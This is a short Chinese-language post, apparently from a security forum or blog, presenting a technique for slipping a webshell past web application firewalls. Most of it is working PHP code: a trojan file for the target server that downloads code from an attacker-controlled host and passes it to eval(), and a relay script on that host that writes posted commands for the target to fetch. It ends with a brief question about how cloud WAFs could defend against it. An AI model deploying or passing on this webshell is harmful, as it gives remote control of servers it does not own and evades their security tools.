日常我们遇到的WAF对webshell查杀拦截主要是通过文件内容分析查杀,和网络传输层面的流量分析拦截,以及执行层面的拦截,常见的绕过基本都是花指令的一套,0x007er大佬研究出来一种新型的绕过方法发布在T00ls

目标站:a.com

需要准备一个你自己可控外网的主机做跳板 b.com

a.com 上传muma.php如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
<?php
$handle = fopen ("http://b.com/bypass.txt", "rb");
$contents = "";
do {
$data = fread($handle, 8192);
if (strlen($data) == 0)
{break;}
$contents .= $data;
} while(true);
fclose ($handle);
$c = array();
array_push($c,$contents);
eval($c[0]);

b.com 上传l.php

1
2
3
4
5
6
7
<?php
$bypassFile = fopen("bypass.txt", "w");
$code = $_POST[code];
fwrite($bypassFile,$code );
fclose($bypassFile);

print(file_get_contents("http://a.com/muma.php"));

菜刀 直接连b.com/l.php 连上去后控制的是a.com

原理如图:

图片

已经测试:最新版D盾,最新版安全狗,阿里云云盾

图片

图片

图片

讨论:因为攻击指令并不是直接提交给目标服务器,而是由目标服务器主动去下载指令,而下载指令的流量不被WAF审查,从防御角度来说,像云盾这种CDN类型的WAF如何对这种手段加防御?